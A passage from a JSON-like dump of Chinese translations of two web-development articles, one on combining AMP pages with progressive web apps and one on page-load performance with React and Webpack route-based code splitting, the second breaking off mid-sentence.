    "content": "* 原文地址：[ Progressive Web AMPs ](https://www.smashingmagazine.com/2016/12/progressive-web-amps/)\n* 原文作者：[ Paul Bakaus ]( https://www.smashingmagazine.com/author/paulbakaus/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[L9m](https://github.com/L9m)\n* 校对者：[marcmoore](https://github.com/marcmoore)，[sqrthree](https://github.com/sqrthree)\n\n#  渐进增强的 Web 体验（Progressive Web AMP）\n\n如果你最近几个月一直关注着 Web 开发社区，可能你对[渐进增强的 Web 应用](https://www.smashingmagazine.com/2016/08/a-beginners-guide-to-progressive-web-apps/)（Progressive Web App 简称 PWA）已有所了解。它是应用体验能与原生应用媲美的 Web 应用的统称：[不依赖网络连接](https://www.smashingmagazine.com/2016/02/making-a-service-worker/)，[易安装](https://developers.google.com/web/fundamentals/engage-and-retain/app-install-banners/?hl=en)，支持视网膜屏幕，支持无边距图像，支持登录和个性化，快速且流畅的应用体验，支持推送通并且有一个好看的界面。\n\n![从谷歌的 Advanced Mobile Page（AMP）到渐进式 Web 应用](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-2.png)\n\n\n一些 Google 的渐进式 Web 应用示例。\n\n虽然新的 [Service Worker API](https://developers.google.com/web/fundamentals/primers/service-worker/) 允许离线缓存所有的网站资源以便在**后续**加载中瞬时加载，就像陌生人的第一印象很关键一样。最新的 [DoubleClick 研究](https://www.doubleclickbygoogle.com/articles/mobile-speed-matters/) （译者注：DoubleClick 是谷歌旗下一家公司）表明，如果首次加载超过 3 秒，超过 53% 的用户将放弃访问。\n\n老实说，3 秒已是一个相当**严峻**的目标。移动端连接通常有平均 300ms 延迟，而且附带有带宽限制和时不时信号弱等不利情况，你可能只剩下不到 1 秒时间留给应用初始化等事情。\n\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-7.png)\n\n用户和内容之间的延迟。\n\n当然，有一些方法能[缓解](https://codelabs.developers.google.com/codelabs/your-first-pwapp/#4)首次加载缓慢的问题 — 在服务器上预先渲染好一个基础结构，再懒加载各个功能模块等等 — 但是使用此种策略达到的优化程度也有限，而且不得不雇佣一个前端优化专家，或者自己成长为一个专家。\n\n那么，我们有什么方法来做一个从根本上和原生应用不同的首次瞬时加载呢？\n\n### AMP，为移动页面加速\n\n网站的最重要的优势之一是跨平台 — 无需安装和即刻加载，用户通常只需轻击一下鼠标即可。\n\n要想轻松地从短浏览（ephemeral browsing）的机会中收益，所需的就是一个瞬时加载（crazy-fast-loading）的网站。让网站瞬时加载，你需要做些什么呢？你所需做的只是一个适当的节制：没有兆字节大小图片，阻塞渲染的广告，没有十万行 JavaScript，就只有这些要求。\n\n[AMPs](https://www.ampproject.org/)，是加速移动网页（Accelerated Mobile Pages）的简称，它[擅长于此](https://www.ampproject.org/docs/get_started/technical_overview.html)，实际上，这是它们**存在的原因**（raison d’être）。它就像一个驾驶辅助功能，通过实行一套合理的规则，优化你的网页主体内容，让它们处于快车道。并通过创建这种严格的，[静态的](https://www.ampproject.org/docs/get_started/technical_overview.html#size-all-resources-statically)布局环境，使譬如谷歌搜索等平台[仅预渲染首屏](https://www.ampproject.org/docs/get_started/technical_overview.html#load-pages-in-an-instant)，得以进一步接近“瞬时”。\n\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-0.png)\n\n此 AMP 的首屏横幅图片（hero image）和标题将被提前渲染，以便访问者瞬时看到首屏内容。\n\n### AMP 还是 PWA？\n\nAMP 可靠快速的体验，在实现时也伴随着一些限制。当你需要高度动态的功能时，AMP 是不适用的，譬如推送通知、网络支付和依靠额外 JavaScript 的功能。此外，因为 AMP 页面通常从 AMP 缓存中提供，你的 Service Worker 不能运行，首次访问享受不到渐进式 Web 应用的最重要的好处。另一方面，在首次访问的速度上，渐进式 Web 应用永远不及 AMP，因为平台能顺利且毫不费力地预渲染 AMP 页面 — 内嵌更简单（比如在内嵌浏览器中）。\n\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-8.png)\n\n一旦用户点击内部链接，离开 AMP 缓存，你就能通过安装 service worker 来增强网站，让网站支持离线和更多的功能。\n\n那么，是 AMP 还是渐进式 Web 应用？瞬时交付还是优化交付，或是最先进的平台功能和灵活的应用代码？有没有一种结合两者的好处的方式呢？\n\n### 完美的用户旅程(User Journey)\n终究，重要的是针对**用户旅程**的理想体验。它大概是这样的：\n\n1.  用户发现了一个指向你的内容的链接，并且点击了它。\n2.  内容快速加载是一种愉快的体验。\n3.  用户被通知并进阶到有推送通知和支持离线的更流畅的体验。\n4.  立即重定向到一个类原生的体验，并且可将网站放在你的主屏幕上。用户惊呼：“怎么回事？好神奇！”。\n\n访问网站的第一步应该让人感觉快速，其后的浏览体验应该越来越引人入胜。\n\n听起来是不是好的难以置信？好吧，尽管乍看，它们解决不同的问题且不相关，要是我们**结合两种技术**会怎么样呢？\n\n### PWAMP 结合模式\n要获得瞬时加载，渐进增强的体验，你所需做的是将 AMPs 和渐进式 Web 应用的丰富功能用下列之一（或多）的方式相结合：\n\n- **AMP 作为 PWA**\n当你可以接受 AMP 的限制时。\n\n- **AMP 转作 PWA**\n当你想要在两者之间平滑过渡时。\n\n- **AMP 在 PWA 中**\n当你重用 AMP 为 PWA 的数据源时。\n\n让我们每个都过一遍吧。\n\n#### AMP 作为 PWA\n许多网站其实用不到超出 AMP（功能）范围。[Amp by Example](https://ampbyexample.com/) 就是一个例子，它既是 AMP 也是一个渐进式 Web 应用。\n- 它有 service worker，因此允许包括离线访问等在内的其他功能。\n- 它有清单（manifest），在横幅（banner）上会提醒“添加到主屏幕“。\n\n当用户从谷歌搜索访问 [Amp by Example](https://ampbyexample.com/)，然后点击网站上链接，它们将从 AMP 缓存页面转到源页面上。当然，网站仍在使用 AMP 库，但是现在由于它处于源页面上，它能使用 service worker 或提示安装等等。\n\n你可以使用此项技术让你的 AMP 网站支持离线访问，一旦他们访问源页面就进行扩展，因为你可以通过 service worker 的 `fetch` 事件来修改响应（response），并返回你想要的响应 （response）。\n\n```\nfunction createCompleteResponse (header, body) {\n\n  return Promise.all([\n    header.text(),\n    getTemplate(RANDOM STUFF AMP DOESN’T LIKE),\n    body.text()\n  ]).then(html => {\n    return new Response(html[0] + html[1] + html[2], {\n      headers: {\n        'Content-Type': 'text/html'\n      }\n    });\n  });\n\n}\n```\n\n这一技术也允许你在 AMP 后续访问中插入脚本，提供超出 AMP 范围外的更进阶的功能。\n\n#### AMP 转作 PWA\n\n当上述不能满足，并且你想让内容有一个完全不同的 PWA 体验时，是时候用一种更高级一点的模式了：\n- 为了接近瞬时加载的体验，所有内容“叶”页（指有特定内容，不是概述的页面）被发布成 AMP。\n- 这些 AMP 使用 AMP 的特殊元素 [`<amp-install-serviceworker>`](https://www.ampproject.org/docs/reference/extended/amp-install-serviceworker.html) 来预备缓存，并且**当用户喜欢**你的内容时用 PWA 的外壳。\n- 当用户点击你网站上的另一个链接（比如，在底部的行为召唤（按钮），使其更像原生）service worker 拦截请求并接管页面，然后加载 PWA 外壳替代之。\n\n假如你熟悉 service worker 的运作，你可以通过以上三个简单步骤来实现这种体验。（如果你不清楚的话，强烈推荐我的同事[杰克在优达学城（Udacity）上的课程](https://www.udacity.com/course/offline-web-applications--ud899)）。第一步，在你所有的 AMP 上放置 service worker。\n```\n<amp-install-serviceworker\n      src=\"https://www.your-domain.com/serviceworker.js\"\n      layout=\"nodisplay\">\n</amp-install-serviceworker>\n```\n\n第二步，在 service worker 安装过程中，缓存 PWA 所需的所有资源。\n```\nvar CACHE_NAME = 'my-site-cache-v1';\nvar urlsToCache = [\n  '/',\n  '/styles/main.css',\n  '/script/main.js'\n];\n\nself.addEventListener('install', function(event) {\n  // Perform install steps\n  event.waitUntil(\n    caches.open(CACHE_NAME)\n      .then(function(cache) {\n        console.log('Opened cache');\n        return cache.addAll(urlsToCache);\n      })\n  );\n});\n```\n\n最后，又回到 service worker，拦截 AMP 的导航请求，用 PWA 替代响应。（下面的代码是功能简化版本，后面还有一个更进阶的示例。）\n```\nself.addEventListener('fetch', event => {\n    if (event.request.mode === 'navigate') {\n      event.respondWith(fetch('/pwa'));\n\n      // Immediately start downloading the actual resource.\n      fetch(event.request.url);\n    }\n});\n```\n\n现在，每当用户点击从 AMP 缓存页面上的链接，service worker 注册 `navigate` 请求模式（request mode）并接管，然后用已缓存的成熟（full-brown）的 PWA 代替。\n\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-6.png)\n\n你可以通过在网站上安装一些 service worker 来实现渐进增强。对于不支持 service worker 的浏览器，它们仅会转移到 AMP 缓存页面。\n\n此项技术很有意思之处在于从 AMP 渐进增强到 PWA。然而，这也意味着，暂时不支持 service worker 的浏览器将从 AMP 跳到 AMP 并且不会导航到 PWA。\n\nAMP 通过 [Shell URL 重写](https://www.ampproject.org/docs/reference/components/amp-install-serviceworker#shell-url-rewrite) 来跳转。通过在 `<amp-install-serviceworker>` 标签中添加一个备用 URL 模式（URL pattern），如果检测到不支持 service worker，就指示 AMP 重写特定页面上所有匹配的链接，用另一个传统的 shell URL 替代（外壳（Shell）是应用的用户界面所需的最基本的 HTML、CSS 和 JavaScript，也是一个用来确保应用有好多性能的组件。它的首次加载将会非常快，加载后立刻被缓存下来。这意味着应用的外壳不需要每次使用时都被下载，而是只加载需要的数据。 ）： \n\n```\n<amp-install-serviceworker\n      src=\"https://www.your-domain.com/serviceworker.js\"\n      layout=\"nodisplay\"\n      data-no-service-worker-fallback-url-match=\".*\"\n      data-no-service-worker-fallback-shell-url=\"https://www.your-domain.com/pwa\">\n</amp-install-serviceworker>\n```\n\n在有 service worker 的情况下具有了这些属性，AMP 上所有后续点击都将转到 PWA。挺巧妙的，是吧？\n\n#### AMP 在 PWA 中\n那么，现在用户处于渐进式 Web 应用中，你可能会使用一些 AJAX 驱动（AJAX-driven）的导航，通过 JSON 来获取内容。你当然可以这么做，但是现在有两个完全不同的内容后端和基础架构需求 — 一个生成 AMP 页面，另外一个为你的渐进式 Web 应用提供基于 JSON 格式的接口。\n\n但请想一想 AMP 的本质是什么。它不只是一个网站，它被设计成一个超轻便的内容单元。AMP 是独立的且可以顺利地嵌入到其他网站。我们是否可以抛弃 JSON 接口，使用 AMP 作为我们渐进式 Web 应用的数据格式，从而大大降低后端复杂性呢？\n\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-3.png)\n\nAMP 页面能顺利地嵌入其他网站中 — PWA 的 AMP 库只会编译并加载一次。\n\n当然，一个简单的方法是在 frames 中加载 AMP 页面。但是使用 iframes 比较慢，并且需要你一遍又一遍地重新编译和初始化 AMP 库。现在前沿的 Web 技术提供了一种更好的方式：Shadow DOM。\n\n处理过程看起来是这样的：\n1. PWA 操纵所有的导航点击事件。\n2. 然后，用 XMLHttpRequest 获取请求的 AMP 页面。\n3. 将内容放入一个新的 shadow root 中。\n4. 然后返回给主 AMP 库，“嘿，我有一个新文档给你。请查收！”（在运行时调用 `attachShadowDoc`）。\n\n使用此种技术，整个 PWA 只会编译和加载一次 AMP 库，并且然后，因为你是通过 XMLHttpRequest 获取的页面，你能在 AMP 源插入新的 shadow document 之前进行一些修改，你可以像这样做：\n- 去掉不必要的内容，比如页眉（header）和页脚（footer）;\n- 插入额外的内容，比如令人反感的广告或信息提示；\n- 用更动态的内容替换特定内容。\n\n现在，你使你的渐进式 Web 应用更简单了，而且大大简化了后端结构。\n\n### 准备，配置，实行！\n\nAMP 团队做了一个[名为 The Scenic 的 React 示例](https://choumx.github.io/amp-pwa/) 来演示 shadom DOM 方法（也就是：PWA 中的 AMP），它是一本假的旅行杂志：\n![From Google’s Advanced Mobile Pages (AMP) to progressive web apps](https://www.smashingmagazine.com/wp-content/uploads/2016/12/progressive-web-amp-4.png)\n\n [整个示例](https://github.com/ampproject/amp-publisher-sample/blob/master/amp-pwa)的代码在 Github 上，但关键代码在 [React 组件 `amp-document.js`](https://github.com/ampproject/amp-publisher-sample/blob/master/amp-pwa/src/components/amp-document/amp-document.js#L92) 中。\n\n#### 看点真东西\n\n一个真实产品的例子是 [Mic 新式 PWA](https://beta.mic.com)（beta 阶段），研究一下 :如果你按住 shift 重新刷新（shift-reload）[任意文章](https://beta.mic.com/articles/161568/arrow-season-5-episode-9-a-major-character-returns-in-midseason-finale-maybe)（这样暂时忽略 service worker）查看源代码， 你会注意到这是一个 AMP 页面。现在尝试点击一下菜单：它会重新加载当前页面， 但由于 `<amp-install-serviceworker>` **已存在**于 PWA 应用外壳中，重载几乎是**瞬间**完成的，并且菜单在刷新后打开，使其看起来不像是重新加载过一样。但现在你处于拥有其他丰富功能的（内嵌 AMP 页面）PWA 中。狡猾，但很了不起。\n\n### 结语\n\n无需多说，我非常激动地憧憬着新结合的潜力。这个结合集两者之所长。\n\n优点概括：\n- 不论什么情况，都很快；\n- 良好的内置支持（通过 AMP 的平台伙伴）；\n- 渐进增强；\n- 只需一种后端接口；\n- 降低客户端复杂性；\n- 成本低；\n\n但是我们才开始发掘这种模式的变型，也是全新的一种。除提供构建 2016 最好的 Web 体验之外，继续向前到达 Web 的新篇章。\n"
  },
  {
    "path": "TODO/progressive-web-apps-with-react-js-part-2-page-load-performance.md",
    "content": "> * 原文地址：[Progressive Web Apps with React.js: Part 2 — Page Load Performance](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-2-page-load-performance-33b932d97cf2#.o0f4vf64s)\n* 原文作者：[Addy Osmani](https://medium.com/@addyosmani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[markzhai](https://github.com/markzhai)\n* 校对者：[Romeo0906](https://github.com/Romeo0906)，[AceLeeWinnie](https://github.com/AceLeeWinnie)\n\n# 使用 React.js 的渐进式 Web 应用程序：第 2 部分 - 页面加载性能\n\n\n## 这是新[系列](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-i-introduction-50679aef2b12#.ysn8uhvkq)的第二部分，新系列介绍的是使用 [Lighthouse](https://github.com/googlechrome/lighthouse) 优化移动 web 应用传输的技巧。本期，我们关注的是页面加载性能。\n\n### 保证页面加载性能是快的\n\n移动 Web 的速度很关键。平均来说，更快的体验会 [延长 70% 的会话](https://www.doubleclickbygoogle.com/articles/mobile-speed-matters/) 以及两倍以上更多的移动广告收益。基于 React 的 Web 性能投资中，Flipkart Lite 使[访问时间提升了三倍](https://developers.google.com/web/showcase/2016/flipkart)， GQ 在流量上得到了 [80% 增长](http://digiday.com/publishers/gq-com-cut-page-load-time-80-percent/)，Trainline 在 [年收益上增长了 11M](https://youtu.be/ai-6qwT6ES8?t=462) 并且 Instagram 的 [好感度上升了 33%](http://engineering.instagram.com/posts/193415561023919/performance-&-usage-at-Instagram)。\n\n在你的 web app 加载时有一些 [关键的用户时刻](https://www.youtube.com/watch?v=wFwogd4CdwY&index=4&list=PLNYkxOF6rcIB3ci6nwNyLYNU6RDOU3YyL)：\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*KlJk2hhZl3wyn6E4.)\n\n测量并优化一直很重要。Lighthouse 的页面加载检测会关注：\n\n*   [**第一次有意义的绘制**](https://www.quora.com/What-does-First-Meaningful-Paint-mean-in-Web-Performance)（当页面主内容可见）\n*   [**速度指数（Speed Index）**](https://sites.google.com/a/webpagetest.org/docs/using-webpagetest/metrics/speed-index)（完全可见）\n*   **估算的输入延迟**（主线程什么时候才能立即处理用户输入）\n*   以及 **抵达可交互的时间**（ app 到开始可用和可交互的时间)\n\n**关于 PWA [值得关注的有趣指标]((https://www.youtube.com/watch?v=IxXGMesq_8s))，Paul Irish 做了很棒的总结。**\n\n**良好性能的目标：**\n\n*   **遵循** [**RAIL 性能模型**](https://developers.google.com/web/tools/chrome-devtools/profile/evaluate-performance/rail?hl=en) 的 L 部分。**A+ 的性能是我们所有人都必须力求达到的，即便有的浏览器不支持 Service Worker。我们仍然可以快速地在屏幕上获得一些有意义的内容，并且仅加载我们所需要的**\n*   **在典型网络（3G）和硬件条件下**\n*   首次访问在 5 秒内可交互，重复访问（Service Worker 可用）则在 2 秒内。\n*   首次加载（网络限制下），速度指数在 3000 或者更少。\n*   第二次加载（磁盘限制，因为 Service Worker 可用）：速度指数 1000 或者更少。\n\n让我们再说说，关于通过 TTI 关注交互性。\n\n### 关注抵达可交互时间（TTI）\n\n为交互性优化，也就是使得 app 尽快能对用户可用（比如让他们可以四处点击，app 可以响应）。这对试图在移动设备上提供一流用户体验的现代 web 体验很关键。\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*qfZvSxxJxPHhXXgb.)\n\nLighthouse 目前将 TTI 作为布局是否达到稳定的衡量，web 字型是否可见并且主线程是否有足够的能力处理用户输入。有很多方法来手动跟踪 TTI，重要的是根据指标进行优化会提升你用户的体验。\n\n对于像 React 这样的库，你应该关心的是在移动设备上 [启用库的代价](https://aerotwist.com/blog/the-cost-of-frameworks/) 因为这会让人们有感知。在 [ReactHN](https://github.com/insin/react-hn)，我们达到了 **1700毫秒** 内就完成了交互，尽管有多个视图，但我们还是保持整个 app 的大小和执行消耗相对很小：app 压缩包只有 11KB，vendor/React/libraries 压缩包只有 107KB。实际上，它们是这样的：\n\n\n![](https://cdn-images-1.medium.com/max/2000/0*N--j53GygKHn2ViI.)\n\n\n之后，对于有小功能的 app 来说，我们会使用 [PRPL](https://www.polymer-project.org/1.0/toolbox/server) 这样的性能模式，这种模式可以充分利用 [HTTP/2 的服务器推送](https://www.igvita.com/2013/06/12/innovating-with-http-2.0-server-push/) 功能，利用颗粒状的 “基于路由的分块” 来得到快速的可交互时间。（可以试试 [Shop](https://shop.polymer-project.org/) demo 来获取直观了解）。\n\nHousing.com 最近使用了类 PRPL 模式搭载 React 体验，获得了很多赞扬：\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*55ArR_Z3qt7Az_FW.)\n\n\nHousing.com 利用 Webpack 路由分块，来推迟入口页面的部分启动消耗（仅加载 route 渲染所需要的）。更多细节请查看 [Sam Saccone 的优秀 Housing.com 性能检测](https://twitter.com/samccone/status/771786445015035904).\n\n\nFlipkart 也做了类似的：\n\n注意：关于什么是 “可交互时间”，有很多不同的看法，Lighthouse 对 TTI 的定义也可能会演变。还有其他测试可交互时间的方法，页面跳转后第一个 5 秒内 window 没有长任务的时刻，或者一次文本/内容绘制后第一次 5 秒内 window 没有长任务的时刻。基本上，就是页面稳定后多久用户才可以和 app 交互。\n\n注意：尽管不是强制的要求，你可能也需要提高视觉完整度（速度指数），通过 [优化关键渲染路径](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/)。[关键路径 CSS 优化工具的存在](https://github.com/addyosmani/critical-path-css-tools#node-modules) 以及其优化在 HTTP/2 的世界中依然有效。\n\n### 用基于路由的分块来提高性能\n\n### Webpack\n\n**如果你第一次接触模块打包工具，比如 Webpack，看看** [**JS 模块化打包器**](https://www.youtube.com/watch?v=OhPUaEuEaXk)**(视频) 可能会有帮助。**\n\n如今一些的 JavaScript 工具能够方便地将所有脚本打包成一个所有页面都引入的 bundle.js 文件。这意味着很多时候，你可能要加载很多对当前路由来说并不需要的代码。为什么一次路由需要加载 500KB 的 JS，而事实上 50KB 就够了呢？我们应该丢开那些无助于获得更快体验的脚本，来加速获得可交互的路由。\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*z2tqS124xW0GDmcP.)\n\n**当仅提供用户一次 route 所需要的最小功能的可用代码就可以的时候，避免提供庞大整块的 bundles（像上图）。**\n\n代码分割是解决整块的 bundles 的一个方法。想法大致是在你的代码中定义分割点，然后分割成不同的文件进行按需懒加载。这会改善启动时间，帮助更迅速地达到可交互状态。\n\n![](https://cdn-images-1.medium.com/max/2000/0*c9rmq2rp95BN39qg.)\n\n想象使用一个公寓列表 app。如果我们登陆的路由是列出我们所在区域的地产（route-1）—— 我们不需要全部地产详情（route-2）或者预约看房（route-3）的代码，所以我们可以只提供列表路由所需要的 JavaScript 代码，然后动态加载其余部分。\n\n这些年来，很多 app 已经使用了代码分割的概念，然而现在用 “[基于路由的分块](https://gist.github.com/addyosmani/44678d476b8843fd981ff8011d389724)” 来称呼它。我们可以通过 Webpack 模块打包器为 React 启用这个设置。\n\n### 实践基于路由的代码分块\n\n当 Webpack 在 app 代码中发现  [require.ensure()](https://webpack.github.io/docs/code-splitting.html)（在 [Webpack 2](https://gist.github.com/sokra/27b24881210b56bbaff7) 中是 [System.import](http://moduscreate.com/code-splitting-for-react-router-with-es6-imports/)）时，支持分割代码。这些方法出现的地方被称为“分割点”，Webpack 会对它们的每一个都生成一个分开的 bundle，按需解决依赖。\n\n    // 定义一个 \"split-point\"\n    require.ensure([], function () {\n       const details = require('./Details');\n       // 所有被 require() 需要的都会成为分开的 bundle\n       // require(deps, cb) 是异步的。它会异步加载，并且评估\n       // 模块，通过你的 deps 的 exports 调用 cb。\n    });\n\n当你的代码需要某些东西，Webpack 会发起一个 JSONP 请求来从服务器获得它。这个和 React Router 结合工作得很好，我们可以在对用户渲染视图之前在依赖（块）中懒加载一个新的路由。\n\nWebpack 2 支持 [使用 React Router 的自动代码分割](https://medium.com/modus-create-front-end-development/automatic-code-splitting-for-react-router-w-es6-imports-a0abdaa491e9#.3ryyedhfc)，它可以像 import 语句一样处理 System.import 模块调用，将导入的文件和它们的依赖一起打包。依赖不会与你在 Webpack 设置中的初始入口冲突。\n```JavaScript\n    import App from '../containers/App';\n\n    function errorLoading(err) {\n      console.error('Lazy-loading failed', err);\n    }\n\n    function loadRoute(cb) {\n      return (module) => cb(null, module.default);\n    }\n    export default {\n      component: App,\n      childRoutes: [\n        // ...\n        {\n          path: 'booktour',\n          getComponent(location, cb) {\n            System.import('../pages/BookTour')\n              .then(loadRoute(cb))\n              .catch(errorLoading);\n          }\n        }\n      ]\n    };\n```\n### 加分项：预加载那些路由！\n\n在我们继续之前，一个配置可选项是来自 [](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) 的 [Resource Hints](https://twitter.com/addyosmani/status/743571393174872064)。这提供了一个声明式获取资源的方法，而不用执行他们。预加载可以用来加载那些用户**可能**访问的路由的 Webpack 块，用户真正访问这些路由时已经缓存并且能够立即实例化。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*l-XqjMw7_XX0wsxX.)\n\n\n\n\n\n笔者写这篇文章的时候，预加载只能在 [Chrome](http://caniuse.com/#feat=link-rel-preload) 中进行，但是在其他浏览器中被处理为渐进式增加（如果支持的话）。\n\n注意：html-webpack-plugin 的 [模板和自定义事件](https://github.com/ampedandwired/html-webpack-plugin#events) 可以使用最小的改变来让简化这个过程。然后你应该保证预加载的资源真正会对你大部分的用户浏览过程有用。\n\n### 异步加载路由\n\n让我们回到代码分割（code-splitting）—— 在一个使用 React 和 [React Router](https://github.com/reactjs/react-router) 的 app 里，我们可以使用 require.ensure() 以在 ensure 被调用的时候异步加载一个组件。顺带一提，如果任何人在探索服务器渲染，如果要 node 上尝试服务器端渲染，需要用 [node-ensure](https://www.npmjs.com/package/node-ensure) 包作垫片代替。Pete Hunt 在 [Webpack How-to](https://github.com/petehunt/webpack-howto#9-async-loading) 里涉及了异步加载。\n\n在下面的例子里，require.ensure() 使我们可以按需懒加载路由，在组件被使用前等待拉取：\n```JavaScript\n    const rootRoute = {\n      component: Layout,\n      path: '/',\n      indexRoute: {\n        getComponent (location, cb) {\n          require.ensure([], () => {\n            cb(null, require('./Landing'))\n          })\n        }\n      },\n      childRoutes: [\n        {\n          path: 'book',\n          getComponent (location, cb) {\n            require.ensure([], () => {\n              cb(null, require('./BookTour'))\n            })\n          }\n        },\n        {\n          path: 'details/:id',\n          getComponent (location, cb) {\n            require.ensure([], () => {\n              cb(null, require('./Details'))\n            })\n          }\n        }\n      ]\n    }\n```\n**注意：我经常配合 CommonChunksPlugin (minChunks: Infinity) 使用上面的配置，这样不同入口文件中的相同模块只有一个 chunk。这还 [降低](https://github.com/webpack/webpack/issues/368#issuecomment-247212086) 了陷入缺省 webpack 运行期。**\n\nBrian Holt 在 React 的完整介绍 中对异步路由加载介绍得很好。。\n\nBrian Holt 在 [React 的完整介绍](https://btholt.github.io/complete-intro-to-react/) 对异步路由加载阐述地很全面。通过异步路由的代码分割在 React Router 的最新版本和 [新的 React Router V4](https://gist.github.com/acdlite/a68433004f9d6b4cbc83b5cc3990c194) 上都可以使用。\n\n### 使用异步的 getComponent + require.ensure() 的声明式路由 chunk\n\n有一个可以更快设置代码分割的小技巧。在 React Router 中，一个根路由 “/” 映射到 `App` 组件的 [申明式的路由](https://github.com/ReactTraining/react-router/blob/master/docs/API.md#route) 就像这样 `<Route path=”/” component={App}>`。\n\nReact Router 也支持 `[getComponent](https://github.com/ReactTraining/react-router/blob/master/docs/API.md#getcomponentnextstate-callback)` 属性，十分方便，类似于 `component` 但却是异步的，并且能够**非常快速**地设置代码分割：\n\n```\n<Route\n   path=\"stories/:storyId\"\n   getComponent={(nextState, cb) => {\n   // 异步地查找 components\n  cb(null, Stories)\n}} />\n```\n\n`getComponent` 函数参数包括下一个状态（我设置为 null）和一个回调。\n\n让我们添加一些基于路由的代码分割到 [ReactHN](https://github.com/insin/react-hn)。我们会从 [routes](https://github.com/insin/react-hn/blob/master/src/routes.js#L36) 文件中的一段开始 —— 它为每个路由定义了引入调用和 React Router 路由（比如 news, item, poll, job, comment 永久链接等）：\n```JavaScript\n    var IndexRoute = require('react-router/lib/IndexRoute')\n    var App = require('./App')\n    var Item = require('./Item')\n    var PermalinkedComment = require('./PermalinkedComment') <--\n    var UserProfile = require('./UserProfile')\n    var NotFound = require('./NotFound')\n    var Top = stories('news', 'topstories', 500)\n    // ....\n\n    module.exports = <Route path=\"/\" component={App}>\n      <IndexRoute component={Top}/>\n      <Route path=\"news\" component={Top}/>\n      <Route path=\"item/:id\" component={Item}/>\n      <Route path=\"job/:id\" component={Item}/>\n      <Route path=\"poll/:id\" component={Item}/>\n      <Route path=\"comment/:id\" component={PermalinkedComment}/> <---\n      <Route path=\"newcomments\" component={Comments}/>\n      <Route path=\"user/:id\" component={UserProfile}/>\n      <Route path=\"*\" component={NotFound}/>\n    </Route>\n```\n\nReactHN 现在提供给用户一个整块的 JS bundle，包含**所有**路由。让我们将它转换为路由分块，只提供一次路由真正需要的代码，从 comment 的永久链接开始（comment/:id）：\n\n所以我们首先删了对永久链接组件的隐式 require：\n\n    var PermalinkedComment = require(‘./PermalinkedComment’)\n\n然后开始我们的路由..\n\n\n然后使用声明式的 getComponent 来更新它。我们在路由中使用 require.ensure() 调用来懒加载，而这就是我们所需要做的一切了：\n\n    <Route\n      path=\"comment/:id\"\n      getComponent={(location, callback) => {\n        require.ensure([], require => {\n          callback(null, require('./PermalinkedComment'))\n        }, 'PermalinkedComment')\n      }}\n    />\n\nOMG，太棒了。这..就搞定了。不骗你。我们可以如法炮制剩下的路由，然后运行 webpack。它会正确地找到 require.ensure() 调用，并且如我们所愿地分割代码。\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*glKcFK9_RLNk9AyR.)\n\n将声明式代码分割应用到我们的大部分路由后，我们可以看到路由分块生效了，只在需要的时候对一个路由（我们能够预缓存在 Service Worker 里）加载所需代码：\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*tVvolw4FTKjNFAnY.)\n\n\n\n提醒：有许多可用于 Service Worker 的简单 Webpack 插件：\n\n*   [sw-precache-webpack-plugin](https://github.com/goldhand/sw-precache-webpack-plugin) 在底层使用 sw-precache\n*   [offline-plugin](https://github.com/NekR/offline-plugin) 被 react-boilerplate 所使用\n\n#### CommonsChunkPlugin\n\n![](https://cdn-images-1.medium.com/max/1600/0*QphlrnwHQiOsB06w.)\n\n\n为了识别出在不同路由使用的通用模块并把它们放在一个通用的分块，需要使用 [CommonsChunkPlugin](https://webpack.github.io/docs/list-of-plugins.html#commonschunkplugin)。它需要在每个页面引入两个 script 标签，一个用于 commons 分块，另一个用于一次路由的入口分块。\n\n    const CommonsChunkPlugin = require(\"webpack/lib/optimize/CommonsChunkPlugin\");\n    module.exports = {\n        entry: {\n            p1: \"./route-1\",\n            p2: \"./route-2\",\n            p3: \"./route-3\"\n        },\n        output: {\n            filename: \"[name].entry.chunk.js\"\n        },\n        plugins: [\n            new CommonsChunkPlugin(\"commons.chunk.js\")\n        ]\n    }\n\nWebpack 的 [— display-chunks 标志](https://blog.madewithlove.be/post/webpack-your-bags/) 对于查看模块在哪个分块中出现很有用。这个帮助我们减少分块中重复的依赖，并且能够提示是否应该在项目中开启 CommonChunksPlugin。这是一个带有多个组件的项目，在不同分块间检测到重复的 Mustache.js 依赖：\n\n\n![](https://cdn-images-1.medium.com/max/1600/0*YMvoz-W2HL3v2MIs.)\n\n\nWebpack 1 也支持通过 [DedupePlugin](https://github.com/webpack/docs/wiki/optimization#deduplication) 以在你的依赖树中进行依赖库的去重。在 Webpack 2，tree-shaking 应该淘汰了这个的需求。\n\n**更多 Webpack 的小贴士**\n\n*   你的代码库中 require.ensure() 调用的数目通常会关联到生成的 bundles 的数目。在代码库中大量使用 ensure 的时候意识到这点很有用。\n*   [Webpack2 的 Tree-shaking](https://medium.com/modus-create-front-end-development/webpack-2-tree-shaking-configuration-9f1de90f3233) 会帮助删除没用的 exports，这可以让你的 bundle 尺寸变小。\n*   另外，避免在 通用/共享的 bundles 里面调用 require.ensure()。你会发现这创建了入口点引用，而我们假定这些引用的依赖已经完成加载了。\n*   在 Webpack 2，System.import 目前不支持服务端渲染，但我已经在 